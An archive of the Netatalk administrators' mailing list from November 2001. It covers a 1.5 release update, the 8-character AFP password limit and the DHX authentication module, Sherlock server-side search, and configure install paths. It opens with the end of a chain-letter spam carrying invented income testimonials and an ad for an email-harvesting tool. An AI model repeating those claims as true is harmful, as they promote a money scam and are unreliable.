  '' I had received this program before. I deleted it, but later I
wondered if I should have given it a try. Of course, I had no idea who to
contact to get another copy, so I had to wait until I was e-mailed again
by someone
else.........11 months passed then it luckily came again...... I did not
delete this one! I made more than $490,000 on my first try and all the
money came within 22 weeks''.
             Susan De Suza, New York, N.Y.
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
  '' It really is a great opportunity to make relatively easy money with
little cost to you. I followed the simple instructions carefully and
within 10 days the money started to come in. My first month I made  $ 20,
560.00 and by the end of  third month my total cash count was $
362,840.00. Life is beautiful, Thanx to internet''.
         Fred Dellaca, Westport, New Zealand
 
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
  ORDER YOUR REPORTS TODAY AND GET STARTED ON YOUR ROAD TO FINANCIAL FREEDOM
 
 =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D
 
  If you have any questions of the legality of this program, contact the
Office of Associate Director for Marketing Practices, Federal Trade
Commission, Bureau of Consumer Protection, Washington, D.C.(A05)
> =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=
=3D=3D=3D=3D=3D=3D=3D=3D=3D   

---------------------------------------------------------
AD: 
   Email Spider Easy: Targeted Email Address Search and Extract Expert
   http://www.emailspidereasy.com
----------------------------------------------------------




--20b8a267-e0e5-11d5-a1ef-00e0295dd679--


From netatalk.administrators-errors@umich.edu  Sun Nov 25 06:26:25 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA11271
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 06:26:25 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA16018
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 06:26:25 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA16006
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 06:26:24 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.226.68])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA15939
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 06:26:22 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fAPBOqf11344;
	Sun, 25 Nov 2001 03:24:52 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Sun, 25 Nov 2001 03:25:22 -0800
Subject: 1.5 release update
From: Steve Freitas <sflist@ihonk.com>
To: Simon Bazley <sibaz@sibaz.com>,
        Dallas N Antley <dna+netatalk@clas.ufl.edu>,
        Craig Zimmerman <craigz@mac.com>, <stewb@centurytel.net>,
        <pkrohn@daemonize.com>, Karen A Swanberg <swanberg@tc.umn.edu>,
        <l.levsen@printwest.com>, <alain.richard@equation.fr>,
        Sebastian Rittau <srittau@jroger.in-berlin.de>
CC: Netatalk-devel <netatalk-devel@lists.sourceforge.net>,
        netatalk-admins <netatalk-admins@umich.edu>
Message-ID: <B8261521.9BEE%sflist@ihonk.com>
In-Reply-To: <3C0060B9.18BE843B@sibaz.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I'd like to thank everybody that came to the IRC meeting today. A few showed
great dedication by spending time on Netatalk despite difficult work
situations. In particular I'd like to single out Sebastian for his 8+ hours
of coding, fixing, patient putting up of new tarballs and general tolerance
for the likes of us.

We got much closer to a stable release today! Sebastian fixed a whole slew
of potential difficulties by rewriting the PAM detection code, and a number
of others sleuthed, wrote patches and found fixes. It compiles (and runs
correctly!) easily now on a variety of Linuxes despite whatever
authentication you prefer. FreeBSD is in good shape also, as is Tru64.

There are a few things left to cover, though. A list of outstanding issues
can be had here:

http://me.in-berlin.de/~jroger/netatalk/compile-problems.lst

Most of those issues need to be resolved before a stable release, so
hopefully we can work through them in the next week or so, get another
tarball out, and then do a stable release a few days after that. In order
for that to happen, Sebastian will need help from people with OpenBSD
(Karen), NetBSD (Dallas) and Solaris (Lance, Dallas, Stew, Paul). (And of
course, Mac OS X [Craig] would be nice.)

Alain, can you try Yellowdog?

In other news, Daniel is going to be testing Joe's CNID code for deadlocks
on Monday, so hopefully an even better revision of that will be available in
the stable release as well.

Steve


From netatalk.administrators-errors@umich.edu  Sun Nov 25 15:21:00 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA27324
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 15:21:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA00434
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 15:21:00 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA00427
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 15:21:00 -0500 (EST)
Received: from web14309.mail.yahoo.com (web14309.mail.yahoo.com [216.136.224.59])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id PAA00415
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 15:20:59 -0500 (EST)
Message-ID: <20011125202058.71394.qmail@web14309.mail.yahoo.com>
Received: from [216.194.21.98] by web14309.mail.yahoo.com via HTTP; Sun, 25 Nov 2001 12:20:58 PST
Date: Sun, 25 Nov 2001 12:20:58 -0800 (PST)
From: raynkid <raynkid@yahoo.com>
Subject: 8 character password limit
To: netatalk-admins@umich.edu
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii

Hello netatalk!

I have just installed netatalk-1.4b2+asun2.1.3-22 on a
linux box of 100+ users so users can access their
files on a mac. Installation and configuration went
smoothly. Most users are able to login and access all
their files.

However, users with passwords longer than 8 characters
cannot login to netatalk. Mac OS9 complains that
passwords are limited to 8 characters. Entering the
first 8 characters and ignore the rest results in
incorrect login.

On the linux box, passwords use MD5 and are shadowed.

Is this a netatalk configuration problem, or a Mac
problem? I have not yet tested this on OS X, but I
sense that OS X might have the same problem.

Anyone know a solution to this problem, besides
forcing users to 8 character passwords?

Thanks for all your help in advance,
--raynkid@yahoo.com

__________________________________________________
Do You Yahoo!?
Yahoo! GeoCities - quick and easy web site hosting, just $8.95/month.
http://geocities.yahoo.com/ps/info1

From netatalk.administrators-errors@umich.edu  Sun Nov 25 15:48:20 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA28441
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 15:48:20 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA17139
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 15:48:19 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA17122
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 15:48:19 -0500 (EST)
Received: from plato.arts.usyd.edu.au (plato.arts.usyd.edu.au [129.78.16.1])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA17059
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 15:48:17 -0500 (EST)
Received: from arts.usyd.edu.au (holly.aitch.ucc.usyd.edu.au [129.78.226.234])
	by plato.arts.usyd.edu.au (8.9.3/8.9.3) with ESMTP id HAA10344;
	Mon, 26 Nov 2001 07:48:12 +1100 (EST)
Sender: matthew@plato.arts.usyd.edu.au
Message-ID: <3C0158EA.93E068A6@arts.usyd.edu.au>
Date: Mon, 26 Nov 2001 07:47:38 +1100
From: Matthew Geier <matthew@arts.usyd.edu.au>
Organization: Arts IT Unit, Sydney University
X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.13-xfs i686)
X-Accept-Language: en, pdf
MIME-Version: 1.0
To: raynkid <raynkid@yahoo.com>
CC: netatalk-admins@umich.edu
Subject: Re: 8 character password limit
References: <20011125202058.71394.qmail@web14309.mail.yahoo.com>
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="------------ms5465F00DDAC7DB7464A6B119"

This is a cryptographically signed message in MIME format.

--------------ms5465F00DDAC7DB7464A6B119
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

raynkid wrote:

> However, users with passwords longer than 8 characters
> cannot login to netatalk. Mac OS9 complains that
> passwords are limited to 8 characters.

> Entering the
> first 8 characters and ignore the rest results in
> incorrect login.
> 
> On the linux box, passwords use MD5 and are shadowed.
> 
> Is this a netatalk configuration problem, or a Mac
> problem? 

 Its a 'mac' problem in that 8 characters is the limit for passwords
until the 'DHX' Authentication Method in OS9/OSX came along, and a Linux
problem in that you selected MD5 password encryption that uses ALL of
the letters some one puts in their password, 'crypt' only uses the first
8, thus masks this particular problem.

 If you use a later version of NetAtalk, and enable the DHX UAM, OS9
machines, and older ones with a newer AppleShare client installed, will
use the DHX method of password exchange which does not have a 8
character limit.
--------------ms5465F00DDAC7DB7464A6B119
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
Content-Description: S/MIME Cryptographic Signature

MIIH0AYJKoZIhvcNAQcCoIIHwTCCB70CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3DQEHAaCC
BbswggKKMIIB86ADAgECAgMFMYswDQYJKoZIhvcNAQECBQAwgZIxCzAJBgNVBAYTAlpBMRUw
EwYDVQQIEwxXZXN0ZXJuIENhcGUxEjAQBgNVBAcTCUNhcGUgVG93bjEPMA0GA1UEChMGVGhh
d3RlMR0wGwYDVQQLExRDZXJ0aWZpY2F0ZSBTZXJ2aWNlczEoMCYGA1UEAxMfUGVyc29uYWwg
RnJlZW1haWwgUlNBIDIwMDAuOC4zMDAeFw0wMTA3MDkxOTEyNThaFw0wMjA3MDkxOTEyNTha
MEoxHzAdBgNVBAMTFlRoYXd0ZSBGcmVlbWFpbCBNZW1iZXIxJzAlBgkqhkiG9w0BCQEWGG1h
dHRoZXdAYXJ0cy51c3lkLmVkdS5hdTCBnzANBgkqhkiG9w0BAQEFAAOBjQAwgYkCgYEA1H+o
MQ4xn5lDS/7p9rYboPW7grw13lXOj7Xisip37QttkX7Ga3ITBXnsAKnuFK3Z7GtILACBXil1
BngLBOd0AlW9zqQBXEOP9aODNJzBsTb3+tOHwQo6shcORKQArKEinG00SuwBdzxALU3KWT6E
yIUSvoz7q0PN4C8qUF3t00sCAwEAAaM1MDMwIwYDVR0RBBwwGoEYbWF0dGhld0BhcnRzLnVz
eWQuZWR1LmF1MAwGA1UdEwEB/wQCMAAwDQYJKoZIhvcNAQECBQADgYEAiJu7SNBXsW7I+ZH9
e2+0M47BmR3DxV31VbW9mKcwuamusWSJJEy5MAKZc8b0snRX/XDkCpM+av3VxDJX8T3rxOE0
siyCC6Tclu6wjwjw0goXK4N6Xhsz+qwIfdoclNZkqK5yInEZtc5ijKr0IPRgch79f35WP82C
SNHVYApmjzgwggMpMIICkqADAgECAgEMMA0GCSqGSIb3DQEBBAUAMIHRMQswCQYDVQQGEwJa
QTEVMBMGA1UECBMMV2VzdGVybiBDYXBlMRIwEAYDVQQHEwlDYXBlIFRvd24xGjAYBgNVBAoT
EVRoYXd0ZSBDb25zdWx0aW5nMSgwJgYDVQQLEx9DZXJ0aWZpY2F0aW9uIFNlcnZpY2VzIERp
dmlzaW9uMSQwIgYDVQQDExtUaGF3dGUgUGVyc29uYWwgRnJlZW1haWwgQ0ExKzApBgkqhkiG
9w0BCQEWHHBlcnNvbmFsLWZyZWVtYWlsQHRoYXd0ZS5jb20wHhcNMDAwODMwMDAwMDAwWhcN
MDIwODI5MjM1OTU5WjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdlc3Rlcm4gQ2FwZTES
MBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNVBAsTFENlcnRpZmlj
YXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBSU0EgMjAwMC44LjMw
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDeMzKmY8cJJUU+0m54J2eBxdqIGYKXDuNE
KYpjNSptcDz63K737nRvMLwzkH/5NHGgo22Y8cNPomXbDfpL8dbdYaX5hc1VmjUanZJ1qCeu
2HL5ugL217CR3hzpq+AYA6h8Q0JQUYeDPPA5tJtUihOH/7ObnUlmAC0JieyUa+mhaQIDAQAB
o04wTDApBgNVHREEIjAgpB4wHDEaMBgGA1UEAxMRUHJpdmF0ZUxhYmVsMS0yOTcwEgYDVR0T
AQH/BAgwBgEB/wIBADALBgNVHQ8EBAMCAQYwDQYJKoZIhvcNAQEEBQADgYEAcxtvJmWL/xU0
S1liiu1EvknH6A27j7kNaiYqYoQfuIdjdBxtt88aU5FL4c3mONntUPQ6bDSSrOaSnG7BIwHC
CafvS65y3QZn9VBvLli4tgvBUFe17BzX7xe21Yibt6KIGu05Wzl9NPy2lhglTWr0ncXDkS+p
lrgFPFL83eliA0gxggHdMIIB2QIBATCBmjCBkjELMAkGA1UEBhMCWkExFTATBgNVBAgTDFdl
c3Rlcm4gQ2FwZTESMBAGA1UEBxMJQ2FwZSBUb3duMQ8wDQYDVQQKEwZUaGF3dGUxHTAbBgNV
BAsTFENlcnRpZmljYXRlIFNlcnZpY2VzMSgwJgYDVQQDEx9QZXJzb25hbCBGcmVlbWFpbCBS
U0EgMjAwMC44LjMwAgMFMYswCQYFKw4DAhoFAKCBmTAYBgkqhkiG9w0BCQMxCwYJKoZIhvcN
AQcBMBwGCSqGSIb3DQEJBTEPFw0wMTExMjUyMDQ3MzlaMCMGCSqGSIb3DQEJBDEWBBR3uro5
Oxmzdd8latfuNODWb8JW7zA6BgkqhkiG9w0BCQ8xLTArMAoGCCqGSIb3DQMHMA4GCCqGSIb3
DQMCAgIAgDANBggqhkiG9w0DAgIBQDANBgkqhkiG9w0BAQEFAASBgGJvpyCRlLJhw5+TOrKN
rfJU8HoHfQ68Rt4ap1ybScIYHffFt2dNr4dExeGyTeEkppbLIUKOMyWhxrR0ZI0JzkbAza7n
QZTdmSd2K0mP2jbnkKktmFsBpF4O8LhzVRvLzUfDDGDNxFvUmcbbr4ekU2//0rpDa2cvvyXL
VrRBC6ty
--------------ms5465F00DDAC7DB7464A6B119--


From netatalk.administrators-errors@umich.edu  Sun Nov 25 15:54:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA28622
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 15:54:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id PAA28847
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 15:54:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id PAA28837
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 15:54:42 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id PAA28802
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 15:54:41 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA26324;
	Sun, 25 Nov 2001 22:16:42 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sun, 25 Nov 2001 22:24:48 +0100
Subject: Re: 8 character password limit
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: raynkid <raynkid@yahoo.com>
CC: <netatalk-admins@umich.edu>
Message-ID: <B827202F.15184%Thomas.Kaiser@phg-online.de>
In-Reply-To: <20011125202058.71394.qmail@web14309.mail.yahoo.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

am 25.11.2001 21:20 Uhr schrieb raynkid:

> Is this a netatalk configuration problem, or a Mac problem?

It's an UAM problem.

If a mac connects to an afp server the client asks the server for a list of
supported User Authentication Modules. It then compares with his own list
(built-in and third-party modules located in the AppleShare folder inside
the System Folder) and tries to find a match.

The 'classic' UAMs 'Cleartxt Passwrd', 'Randnum exchange' and '2-Way Randnum
exchange' only supported passwords with max. 8 characters. This limitation
has gone with the newer Diffie Hellman Exchange UAM (DHX) --> up to 64
characters possible.

Recent AppleShare Clients support the DHX UAM, which older Netatalk Versions
won't. You might want to give Netatalk 1.5 a try?

Regards,

Thomas

PS: You can examine which UAMs your server supports, if you run
    'asip-status.pl [your server's ip address]'. You can get it from here:
    <http://www.jammed.com/~jwa/hacks/security/asip/>


From netatalk.administrators-errors@umich.edu  Sun Nov 25 16:21:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA29699
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 16:21:27 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA03270
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 16:21:27 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA03254
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 16:21:27 -0500 (EST)
Received: from users.phg-online.de (users.phg-online.de [62.245.158.230])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA03210
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 16:21:26 -0500 (EST)
Received: from [195.30.238.157] (powerbook-tk.kaiser.link-m.de [195.30.238.157])
	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id WAA26378;
	Sun, 25 Nov 2001 22:42:47 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Sun, 25 Nov 2001 22:50:52 +0100
Subject: Re: Sherlock / search by content
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: Matthew Geier <matthew@arts.usyd.edu.au>, Colin Tueck <colin@tueck.de>,
        <netatalk-admins@umich.edu>
Message-ID: <B827264C.15188%Thomas.Kaiser@phg-online.de>
In-Reply-To: <3BFEBD33.1B0E4AC9@arts.usyd.edu.au>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

On Sat, 24 Nov 2001 08:18:44 +1100, Matthew Geier wrote:

> Colin Tueck wrote:
>> 
>> Hi netatalk-admins!
>> 
>> Has anyone ever realized a Linux server for some Macs with the possibilty
>> to search files on the server by content with Sherlock? (Mac OS 9 clients)

I think, the problem isn't the search. The problem is that Sherlock won't
let you build indexes on other media than fixed disk drives in your macs.

You will have to search for a possibility to build the indexes on the server
or work with Sherlock PlugIns and afp urls. Maybe this can be done with
GLIMPSE on the server (<http://webglimpse.org/whatis.html>)

> [...]
> Even a find by name is slow over the network.

This is something different. With AFP 2.1 the FPCatSearch Feature has been
introduced. FPCatSearch means that the client computer sends his search
query to the server which answers to it from its internal disk catalog.
'SupportsCatSearch' has been added to the bitmap for FPGetVolParms. This is
a feature on a per-volume basis.

Since Netatalk still has no fully functional implementation of server-side
desktop databases, this won't work at all, so that the client has to crawl
though the whole volume via network...
 
> [...]
> I think a 'real' ASIP server runs the search on the server and uses
> special AFP functions to instruct and get data from a remote instance of
> 'sherlock'.

Right. This is done with FPCatSearch. Helios' EtherShare for example will do
the same. NT's SFM fake this command. They tell the client 'I support
FPCatSearch' but start in fact a brute-force search through the whole volume
which will slown down the whole afp server close to a lock-up (compare
<http://www.macwindows.com/servtips.html#hang1> for this 'cool' M$-typical
protocol implementation ;-)

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Sun Nov 25 16:35:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA00227
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 16:35:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA03763
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 16:35:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA03755
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 16:35:08 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA03728
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 16:35:06 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.12.1/8.12.1) with ESMTP id fAPLZ47N025628
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 22:35:04 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fAPLZ3AM029062
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 22:35:03 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fAPLZ3AG029055
	for netatalk-admins@umich.edu; Sun, 25 Nov 2001 22:35:03 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 1686Zn-0004Cq-00; Sun, 25 Nov 2001 22:12:35 +0100
Date: Sun, 25 Nov 2001 22:12:35 +0100
To: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] path problem... it does not install to /etc/ atalk !!!
Message-ID: <20011125221235.B16103@jroger.in-berlin.de>
Mail-Followup-To: netatalk-devel@lists.sourceforge.net,
	netatalk-admins@umich.edu
References: <55EC28DE870FD411A34D00508B6A767DD5E478@frexch1.morse.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <55EC28DE870FD411A34D00508B6A767DD5E478@frexch1.morse.com>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Fri, Nov 23, 2001 at 03:39:13PM -0000, Thomas Baumann wrote:

> I did it --> look my ./configure:
> 
> ./configure --prefix=/usr --sysconfdir=/etc --with-pkgconfdir=/etc/atalk 
>             --datadir=/etc/atalk 
>             --bindir=/usr/bin --sbindir=/usr/sbin 
>             --sharedstatedir=/etc/atalk 
>             --mandir=/usr/share/man 
>             --infodir=/usr/share/info 
>             --program-transform-name=atalk 
>             --enable-shared=yes --enable-static=yes 
>             --enable-suse --with-pam 
>             --with-ssl-dir=/usr --with-shadow --with-tcp-wrappers 
>             --with-did=last --with-flock-locks --with-msg-dir=/etc/atalk/msg
> 
> It installs now in /usr/etc/  !!!!
> in /etc/atalk there is only a aclocal/netatalk.m4 !!!

This should probably be fixed with the latest CVS versions.

 - Sebastian


From netatalk.administrators-errors@umich.edu  Sun Nov 25 16:35:36 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA00260
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Sun, 25 Nov 2001 16:35:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id QAA04172
	for netatalk-admins@terminator.rsug.itd.umich.edu; Sun, 25 Nov 2001 16:35:36 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id QAA04164
	for netatalk.administrators-members@umich.edu; Sun, 25 Nov 2001 16:35:35 -0500 (EST)
Received: from gnu.in-berlin.de (gnu.in-berlin.de [192.109.42.4])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id QAA03935
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 16:35:19 -0500 (EST)
Received: from hirsch.in-berlin.de (root@hirsch.plusline.in-berlin.de [213.83.10.6])
	by gnu.in-berlin.de (8.12.1/8.12.1) with ESMTP id fAPLZI7N025707
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 22:35:18 +0100 (CET)
	(envelope-from srittau@jroger.in-berlin.de)
X-Envelope-From: srittau@jroger.in-berlin.de
X-Envelope-To: <netatalk-admins@umich.edu>
Received: from hirsch.in-berlin.de (uucp@localhost [127.0.0.1])
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with ESMTP id fAPLZIAM029178
	for <netatalk-admins@umich.edu>; Sun, 25 Nov 2001 22:35:18 +0100
Received: (from uucp@localhost)
	by hirsch.in-berlin.de (8.12.1/8.12.1/Debian -2) with UUCP id fAPLZHiZ029177
	for netatalk-admins@umich.edu; Sun, 25 Nov 2001 22:35:17 +0100
Received: from srittau by jroger.in-berlin.de with local (Exim 3.31 #1 (Debian))
	id 1686ny-0004Gt-00; Sun, 25 Nov 2001 22:27:14 +0100
Date: Sun, 25 Nov 2001 22:27:13 +0100
To: Steve Freitas <sflist@ihonk.com>
Cc: Simon Bazley <sibaz@sibaz.com>,
        Dallas N Antley <dna+netatalk@clas.ufl.edu>,
        Craig Zimmerman <craigz@mac.com>, stewb@centurytel.net,
        pkrohn@daemonize.com, Karen A Swanberg <swanberg@tc.umn.edu>,
        l.levsen@printwest.com, alain.richard@equation.fr,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>,
        netatalk-admins <netatalk-admins@umich.edu>
Subject: Re: 1.5 release update
Message-ID: <20011125222713.F16103@jroger.in-berlin.de>
Mail-Followup-To: Steve Freitas <sflist@ihonk.com>,
	Simon Bazley <sibaz@sibaz.com>,
	Dallas N Antley <dna+netatalk@clas.ufl.edu>,
	Craig Zimmerman <craigz@mac.com>, stewb@centurytel.net,
	pkrohn@daemonize.com, Karen A Swanberg <swanberg@tc.umn.edu>,
	l.levsen@printwest.com, alain.richard@equation.fr,
	Netatalk-devel <netatalk-devel@lists.sourceforge.net>,
	netatalk-admins <netatalk-admins@umich.edu>
References: <3C0060B9.18BE843B@sibaz.com> <B8261521.9BEE%sflist@ihonk.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
In-Reply-To: <B8261521.9BEE%sflist@ihonk.com>
User-Agent: Mutt/1.3.22i
From: Sebastian Rittau <srittau@jroger.in-berlin.de>

On Sun, Nov 25, 2001 at 03:25:22AM -0800, Steve Freitas wrote:

> I'd like to thank everybody that came to the IRC meeting today.

I would also like to thank you all. Especially for compiling and trying out
a new RC after another and bearing with the still-not-working maccode
compilation issues.

> There are a few things left to cover, though. A list of outstanding issues
> can be had here:
> 
